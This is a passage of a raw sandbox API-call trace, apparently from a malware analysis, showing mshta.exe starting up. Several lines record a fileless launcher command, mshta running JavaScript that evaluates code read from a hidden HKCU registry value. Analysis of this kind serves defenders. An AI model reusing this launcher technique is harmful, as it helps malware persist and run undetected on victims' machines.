ConditionVariable=0x73884348 | out: ConditionVariable=0x73884348) [0251.570] RtlInitializeConditionVariable (in: ConditionVariable=0x73884344 | out: ConditionVariable=0x73884344) [0251.570] RtlInitializeConditionVariable (in: ConditionVariable=0x73884340 | out: ConditionVariable=0x73884340) [0251.570] RtlInitializeConditionVariable (in: ConditionVariable=0x7388433c | out: ConditionVariable=0x7388433c) [0251.570] RtlInitializeConditionVariable (in: ConditionVariable=0x73884398 | out: ConditionVariable=0x73884398) [0251.570] RtlInitializeConditionVariable (in: ConditionVariable=0x73884338 | out: ConditionVariable=0x73884338) [0251.570] RtlInitializeConditionVariable (in: ConditionVariable=0x73884334 | out: ConditionVariable=0x73884334) [0251.570] RtlInitializeConditionVariable (in: ConditionVariable=0x73884330 | out: ConditionVariable=0x73884330) [0251.621] LdrResolveDelayLoadedAPI () returned 0x74153140 [0251.645] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0251.688] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0251.688] GetVersionExA (in: lpVersionInformation=0x73882070*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x73882070*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.688] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0251.690] GetSystemMetrics (nIndex=68) returned 4 [0251.690] GetSystemMetrics (nIndex=69) returned 4 [0251.690] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14 [0251.691] GetVersionExW (in: lpVersionInformation=0x3df7b4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x3df7a4, dwMinorVersion=0x904cb8, dwBuildNumber=0x3dfa08, dwPlatformId=0x77c29fd0, szCSDVersion="\x5780\x7b9b\x5d30\xc6c\xf7e0\x3d\xdd8\x75ed\x02") | out: lpVersionInformation=0x3df7b4*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.691] GetUserDefaultUILanguage () returned 0x409 [0251.691] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x3df8a8, cchData=16 | out: lpLCData="\x03") returned 16 [0251.691] GetKeyboardLayoutList (in: nBuff=32, lpList=0x3df8d8 | out: lpList=0x3df8d8) returned 1 [0251.691] GetCurrentProcessId () returned 0xec8 [0251.691] ProcessIdToSessionId (in: dwProcessId=0xec8, pSessionId=0x3df8c8 | out: pSessionId=0x3df8c8) returned 1 [0251.691] WTSGetActiveConsoleSessionId () returned 0x1 [0251.691] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0x12c0000 [0251.692] GetVersion () returned 0x3ad7000a [0251.692] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75e90000 [0251.692] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSetInformation") returned 0x75ea5850 [0251.692] HeapSetInformation (HeapHandle=0x12c0000, HeapInformationClass=0x0, HeapInformation=0x3df958, HeapInformationLength=0x4) returned 1 [0251.692] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0251.692] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0251.692] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0251.692] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0251.692] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0251.693] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x140) returned 0x12ee4b8 [0251.693] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.693] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x78) returned 0x12ee600 [0251.693] rand_s (in: _RandomValue=0x3df780 | out: _RandomValue=0x3df780) returned 0x0 [0251.693] rand_s (in: _RandomValue=0x3df780 | out: _RandomValue=0x3df780) returned 0x0 [0251.693] VirtualAlloc (lpAddress=0x0, dwSize=0x110000, flAllocationType=0x202000, flProtect=0x4) returned 0x1140000 [0251.693] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x2600) returned 0x4730048 [0251.694] SystemParametersInfoW (in: uiAction=0x4a, uiParam=0x0, pvParam=0x3df958, fWinIni=0x0 | out: pvParam=0x3df958) returned 1 [0251.694] SystemParametersInfoW (in: uiAction=0x200a, uiParam=0x0, pvParam=0x3df954, fWinIni=0x0 | out: pvParam=0x3df954) returned 1 [0251.694] GetCurrentProcessId () returned 0xec8 [0251.694] _vsnwprintf (in: _Buffer=0x3df970, _BufferCount=0x16, _Format="%s%08lX", _ArgList=0x3df95c | out: _Buffer="#MSHTML#PERF#00000EC8") returned 21 [0251.694] OpenFileMappingW (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#00000EC8") returned 0x0 [0251.694] EtwEventRegister (in: ProviderId=0x72876fd8, EnableCallback=0x72d432c0, CallbackContext=0x73768b18, RegHandle=0x73884328 | out: RegHandle=0x73884328) returned 0x0 [0251.694] EtwEventSetInformation (RegHandle=0x8ffad0, InformationClass=0x18, EventInformation=0x2, InformationLength=0x72876fc0) returned 0x0 [0251.695] EtwEventRegister (in: ProviderId=0x72876fb0, EnableCallback=0x72d432c0, CallbackContext=0x73768ae0, RegHandle=0x73884320 | out: RegHandle=0x73884320) returned 0x0 [0251.695] EtwEventRegister (in: ProviderId=0x72876fa0, EnableCallback=0x72d432c0, CallbackContext=0x73768a70, RegHandle=0x73884310 | out: RegHandle=0x73884310) returned 0x0 [0251.695] EtwEventRegister (in: ProviderId=0x72876f90, EnableCallback=0x72d432c0, CallbackContext=0x73768aa8, RegHandle=0x73884318 | out: RegHandle=0x73884318) returned 0x0 [0251.695] RegGetValueW (in: hkey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\OUTLOOK.EXE", lpValue="Path", dwFlags=0x2, pdwType=0x0, pvData=0x3df74c, pcbData=0x3df748*=0x208 | out: pdwType=0x0, pvData=0x3df74c, pcbData=0x3df748*=0x62) returned 0x0 [0251.695] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Program Files\\Microsoft Office\\Root\\Office16\\outllib.dll", lpdwHandle=0x3df744 | out: lpdwHandle=0x3df744) returned 0x0 [0251.695] GetModuleHandleW (lpModuleName=0x0) returned 0x1320000 [0251.695] GetModuleFileNameW (in: hModule=0x1320000, lpFilename=0x3df750, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0251.695] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0251.695] RegGetValueW (in: hkey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Application Compatibility", lpValue="mshta.exe", dwFlags=0x18, pdwType=0x0, pvData=0x3df74c, pcbData=0x3df748*=0x4 | out: pdwType=0x0, pvData=0x3df74c, pcbData=0x3df748*=0x4) returned 0x2 [0251.696] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x128) returned 0x12ee680 [0251.697] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.697] VirtualAlloc (lpAddress=0x114e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x114e000 [0251.698] _itow_s (in: _Value=0, _Buffer=0x3df944, _BufferCount=0xa, _Radix=10 | out: _Buffer="0") returned 0x0 [0251.698] _itow_s (in: _Value=1, _Buffer=0x3df944, _BufferCount=0xa, _Radix=10 | out: _Buffer="1") returned 0x0 [0251.698] _itow_s (in: _Value=2, _Buffer=0x3df944, _BufferCount=0xa, _Radix=10 | out: _Buffer="2") returned 0x0 [0251.698] _itow_s (in: _Value=3, _Buffer=0x3df944, _BufferCount=0xa, _Radix=10 | out: _Buffer="3") returned 0x0 [0251.698] _itow_s (in: _Value=4, _Buffer=0x3df944, _BufferCount=0xa, _Radix=10 | out: _Buffer="4") returned 0x0 [0251.699] GetCurrentProcess () returned 0xffffffff [0251.699] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x3df8e0, lpExitTime=0x3df8d8, lpKernelTime=0x3df8d8, lpUserTime=0x3df8d8 | out: lpCreationTime=0x3df8e0, lpExitTime=0x3df8d8, lpKernelTime=0x3df8d8, lpUserTime=0x3df8d8) returned 1 [0251.699] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x3dfdcc, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x3dfdcc, ResultLength=0x0) returned 0x0 [0251.699] GetCommandLineW () returned="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"" [0251.699] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xd2) returned 0x9053a8 [0251.699] LdrResolveDelayLoadedAPI () returned 0x77953e50 [0251.704] OleInitialize (pvReserved=0x0) returned 0x0 [0251.792] IsWindow (hWnd=0x0) returned 0 [0251.792] RegisterClassW (lpWndClass=0x3dfd90) returned 0xc16c [0251.792] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1320000, lpParam=0x7387f498) returned 0x70126 [0251.801] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x24, wParam=0x0, lParam=0x3df94c) returned 0x0 [0251.801] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x81, wParam=0x0, lParam=0x3df940) returned 0x1 [0251.805] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x83, wParam=0x0, lParam=0x3df92c) returned 0x0 [0251.811] NtdllDefWindowProc_W (hWnd=0x70126, Msg=0x1, wParam=0x0, lParam=0x3df940) returned 0x0 [0251.812] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x70126, hMenu=0x0, hInstance=0x1320000, lpParam=0x7387f498) returned 0x70044 [0251.813] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x24, wParam=0x0, lParam=0x3df94c) returned 0x0 [0251.813] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x81, wParam=0x0, lParam=0x3df940) returned 0x1 [0251.813] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x83, wParam=0x0, lParam=0x3df92c) returned 0x0 [0251.814] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x1, wParam=0x0, lParam=0x3df940) returned 0x0 [0251.815] SetWindowLongW (hWnd=0x70044, nIndex=-16, dwNewLong=-2100363264) returned 114229248 [0251.815] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x7c, wParam=0xfffffff0, lParam=0x3dfd64) returned 0x0 [0251.816] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x7d, wParam=0xfffffff0, lParam=0x3dfd64) returned 0x0 [0251.819] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0251.819] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0251.819] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0251.820] SetWindowPos (hWnd=0x70044, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0251.820] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x46, wParam=0x0, lParam=0x3dfd74) returned 0x0 [0251.820] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x83, wParam=0x1, lParam=0x3dfd4c) returned 0x0 [0251.821] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x47, wParam=0x0, lParam=0x3dfd74) returned 0x0 [0251.822] SendMessageW (hWnd=0x70044, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0251.822] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0251.822] NtdllDefWindowProc_W (hWnd=0x70044, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0251.822] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xd2) returned 0x910948 [0251.822] PathGetArgsW (pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"") returned="" [0251.822] wcsncmp (_String1="", _String2="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}", _MaxCount=0x26) returned -123 [0251.822] LdrResolveDelayLoadedAPI () returned 0x75f73da0 [0251.823] PathRemoveArgsW (in: pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"" | out: pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"") [0251.823] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xd2) returned 0x910a28 [0251.823] RtlReAllocateHeap (Heap=0x8f0000, Flags=0x0, Ptr=0x910a28, Size=0xd4) returned 0x910a28 [0251.823] memcpy_s (in: _Destination=0x910af8, _DestinationSize=0x2, _Source=0x3dfdc2, _SourceSize=0x2 | out: _Destination=0x910af8) returned 0x0 [0251.823] RtlReAllocateHeap (Heap=0x8f0000, Flags=0x0, Ptr=0x9053a8, Size=0xd4) returned 0x9053a8 [0251.823] PathRemoveBlanksW (in: pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"" | out: pszPath="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"") [0251.823] PathUnquoteSpacesW (in: lpsz="\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"" | out: lpsz="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();") returned 1 [0251.823] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x910a28 | out: hHeap=0x8f0000) returned 1 [0251.823] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();", ppmk=0x3dfddc*=0x0, dwFlags=0x1 | out: ppmk=0x3dfddc*=0x8fd120) returned 0x0 [0251.835] CoIncrementMTAUsage (in: pCookie=0x3de58c | out: pCookie=0x3de58c) returned 0x0 [0251.887] HeapFree (in: hHeap=0x8f0000, dwFlags=0x0, lpMem=0x910948 | out: hHeap=0x8f0000) returned 1 [0251.887] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x10) returned 0x90f3f0 [0251.888] CoCreateInstance (in: rclsid=0x72908248*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x72880548*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x7387f4ec | out: ppv=0x7387f4ec*=0x1170000) returned 0x0 [0251.889] DllGetClassObject (in: rclsid=0x8fd284*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3dee54 | out: ppv=0x3dee54*=0x7376b52c) returned 0x0 [0251.889] IClassFactory:CreateInstance (in: This=0x7376b52c, pUnkOuter=0x0, riid=0x3df8c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3dee3c | out: ppvObject=0x3dee3c*=0x1170000) returned 0x0 [0251.889] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x15c) returned 0x12ee7b0 [0251.890] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.890] VirtualAlloc (lpAddress=0x1158000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1158000 [0251.890] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x27c) returned 0x12ee918 [0251.890] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.890] VirtualAlloc (lpAddress=0x1160000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1160000 [0251.891] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xb0) returned 0x12eeba0 [0251.891] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.891] VirtualAlloc (lpAddress=0x1162000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1162000 [0251.891] RegisterClassExW (param_1=0x3deca8) returned 0xc0f5 [0251.891] CreateWindowExW (dwExStyle=0x8000080, lpClassName=0xc0f5, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x726c0000, lpParam=0x0) returned 0x9002e [0251.892] GetWindowLongW (hWnd=0x9002e, nIndex=-20) returned 134217856 [0251.892] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x81, wParam=0x0, lParam=0x3de8f8) returned 0x1 [0251.892] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x83, wParam=0x0, lParam=0x3de8e4) returned 0x0 [0251.893] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x1, wParam=0x0, lParam=0x3de8f8) returned 0x0 [0251.893] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0251.893] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0251.893] ShowWindow (hWnd=0x9002e, nCmdShow=8) returned 0 [0251.893] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0251.894] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x46, wParam=0x0, lParam=0x3ded44) returned 0x0 [0251.896] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x47, wParam=0x0, lParam=0x3ded44) returned 0x0 [0251.896] SetWindowPos (hWnd=0x9002e, hWndInsertAfter=0x1, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1 [0251.896] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x46, wParam=0x0, lParam=0x3ded2c) returned 0x0 [0251.901] NtdllDefWindowProc_W (hWnd=0x9002e, Msg=0x47, wParam=0x0, lParam=0x3ded2c) returned 0x0 [0251.901] GetModuleHandleW (lpModuleName="ext-ms-win-rtcore-ntuser-window-ext-l1-1-0") returned 0x74b70000 [0251.901] GetProcAddress (hModule=0x74b70000, lpProcName="SetCoalescableTimer") returned 0x74ba3c80 [0251.901] CreateCompatibleDC (hdc=0x0) returned 0xcc010703 [0251.902] GetDeviceCaps (hdc=0xcc010703, index=88) returned 96 [0251.902] GetCurrentProcess () returned 0xffffffff [0251.902] GetSystemMetrics (nIndex=1) returned 900 [0251.902] GetSystemMetrics (nIndex=0) returned 1440 [0251.902] GetSystemMetrics (nIndex=68) returned 4 [0251.902] GetSystemMetrics (nIndex=69) returned 4 [0251.902] GetSystemMetrics (nIndex=2) returned 17 [0251.902] GetSystemMetrics (nIndex=3) returned 17 [0251.902] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x3deb28, fWinIni=0x0 | out: pvParam=0x3deb28) returned 1 [0251.902] CreateFontIndirectW (lplf=0x3decc0) returned 0xa60a0510 [0251.902] SelectObject (hdc=0xcc010703, h=0xa60a0510) returned 0x8a01c2 [0251.902] GetTextMetricsW (in: hdc=0xcc010703, lptm=0x3ded44 | out: lptm=0x3ded44) returned 1 [0251.902] SelectObject (hdc=0xcc010703, h=0x8a01c2) returned 0xa60a0510 [0251.902] DeleteObject (ho=0xa60a0510) returned 1 [0251.902] GetSystemDefaultLCID () returned 0x409 [0251.902] GetUserDefaultLCID () returned 0x409 [0251.903] GetACP () returned 0x4e4 [0251.903] GetLocaleInfoW (in: Locale=0x400, LCType=0x20001014, lpLCData=0x3ded08, cchData=2 | out: lpLCData="\x01") returned 2 [0251.903] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x3ded0c, cchData=11 | out: lpLCData="0123456789") returned 11 [0251.903] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x7388a990, fWinIni=0x0 | out: pvParam=0x7388a990) returned 1 [0251.903] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x3ded1c, fWinIni=0x0 | out: pvParam=0x3ded1c) returned 1 [0251.903] LdrResolveDelayLoadedAPI () returned 0x745825a0 [0251.903] IsAppThemed () returned 0x1 [0251.903] SystemParametersInfoW (in: uiAction=0x1042, uiParam=0x0, pvParam=0x7377879c, fWinIni=0x0 | out: pvParam=0x7377879c) returned 1 [0251.903] SystemParametersInfoW (in: uiAction=0x103e, uiParam=0x0, pvParam=0x73778798, fWinIni=0x0 | out: pvParam=0x73778798) returned 1 [0251.903] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x9c) returned 0x12eec58 [0251.904] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.904] VirtualAlloc (lpAddress=0x1164000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1164000 [0251.904] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xa8) returned 0x12eed00 [0251.904] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.904] VirtualAlloc (lpAddress=0x1166000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1166000 [0251.905] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xe4) returned 0x12eedb0 [0251.905] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.905] VirtualAlloc (lpAddress=0x1168000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1168000 [0251.905] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0xd0) returned 0x9077e8 [0251.905] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x268 [0251.905] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x8) returned 0x910d28 [0251.905] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x26c [0251.905] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0xb4) returned 0x12eeea0 [0251.905] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.905] VirtualAlloc (lpAddress=0x116a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x116a000 [0251.906] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x14) returned 0x9102a0 [0251.906] GetSystemWindowsDirectoryW (in: lpBuffer=0x3debb0, uSize=0x104 | out: lpBuffer="C:\\WINDOWS") returned 0xa [0251.906] CreateActCtxW (pActCtx=0x3deb90) returned 0x911fb4 [0251.907] ActivateActCtx (in: hActCtx=0x911fb4, lpCookie=0x3deb5c | out: hActCtx=0x911fb4, lpCookie=0x3deb5c) returned 1 [0251.907] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x0) returned 0x72440000 [0251.914] DeactivateActCtx (dwFlags=0x0, ulCookie=0x11580001) returned 1 [0251.914] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x304) returned 0x4732650 [0251.914] GetCurrentProcess () returned 0xffffffff [0251.914] GetCurrentThread () returned 0xfffffffe [0251.914] GetCurrentProcess () returned 0xffffffff [0251.914] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x4732680, dwDesiredAccess=0x10004a, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x4732680*=0x27c) returned 1 [0251.914] GetCurrentThreadId () returned 0x15c [0251.914] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x278 [0251.914] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x280 [0251.914] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x284 [0251.914] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x288 [0251.914] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x28c [0251.914] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca4fe0, _ArgList=0x12e4d50, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x290 [0251.915] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3ded20*=0x288, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0251.938] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x294 [0251.938] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x298 [0251.938] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca4fe0, _ArgList=0x12e4d78, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x29c [0251.939] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3ded20*=0x294, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0251.945] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x72ca3990, _ArgList=0x12e06d8, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x2a0 [0251.945] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x3ded44*=0x278, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0251.981] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32 [0251.981] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8 [0251.981] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32 [0251.981] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3debe0, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0251.981] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0251.981] RtlAllocateHeap (HeapHandle=0x8f0000, Flags=0x0, Size=0x14) returned 0x9104a0 [0251.982] IsInternetESCEnabled () returned 0x0 [0251.982] RegGetValueW (in: hkey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", lpValue="NoFileMenu", dwFlags=0xffff, pdwType=0x3debcc, pvData=0x3debd0, pcbData=0x3debd4*=0x4 | out: pdwType=0x3debcc*=0x0, pvData=0x3debd0, pcbData=0x3debd4*=0x4) returned 0x2 [0251.982] RtlAllocateHeap (HeapHandle=0x12e0000, Flags=0x0, Size=0x144) returned 0x4732960 [0251.982] RtlInterlockedPopEntrySList (in: ListHead=0x12e0878 | out: ListHead=0x12e0878) returned 0x0 [0251.982] VirtualAlloc (lpAddress=0x1170000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1170000 [0251.983] QueryPerformanceFrequency (in: lpFrequency=0x3ded8c | out: 